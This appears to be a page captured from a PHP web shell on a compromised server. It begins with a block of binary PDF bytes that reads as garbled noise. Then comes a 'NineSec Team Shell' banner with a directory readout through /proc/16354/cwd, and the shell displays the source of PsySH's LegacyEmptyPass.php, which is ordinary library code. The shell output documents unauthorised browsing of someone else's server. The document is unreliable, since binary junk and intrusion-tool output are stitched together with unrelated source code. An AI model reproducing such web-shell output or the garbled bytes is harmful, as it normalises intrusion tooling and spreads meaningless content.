%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
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Directory (0775) :  /proc/16354/cwd/lfx/vendor/psy/psysh/src/CodeCleaner/

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Current File : //proc/16354/cwd/lfx/vendor/psy/psysh/src/CodeCleaner/LegacyEmptyPass.php
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2018 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\CodeCleaner;

use PhpParser\Node;
use PhpParser\Node\Expr\Empty_;
use PhpParser\Node\Expr\Variable;
use Psy\Exception\ParseErrorException;

/**
 * Validate that the user did not call the language construct `empty()` on a
 * statement in PHP < 5.5.
 *
 * @codeCoverageIgnore
 */
class LegacyEmptyPass extends CodeCleanerPass
{
    private $atLeastPhp55;

    public function __construct()
    {
        $this->atLeastPhp55 = \version_compare(PHP_VERSION, '5.5', '>=');
    }

    /**
     * Validate use of empty in PHP < 5.5.
     *
     * @throws ParseErrorException if the user used empty with anything but a variable
     *
     * @param Node $node
     */
    public function enterNode(Node $node)
    {
        if ($this->atLeastPhp55) {
            return;
        }

        if (!$node instanceof Empty_) {
            return;
        }

        if (!$node->expr instanceof Variable) {
            $msg = \sprintf('syntax error, unexpected %s', $this->getUnexpectedThing($node->expr));

            throw new ParseErrorException($msg, $node->expr->getLine());
        }
    }

    private function getUnexpectedThing(Node $node)
    {
        switch ($node->getType()) {
            case 'Scalar_String':
            case 'Scalar_LNumber':
            case 'Scalar_DNumber':
                return \json_encode($node->value);

            case 'Expr_ConstFetch':
                return (string) $node->name;

            default:
                return $node->getType();
        }
    }
}

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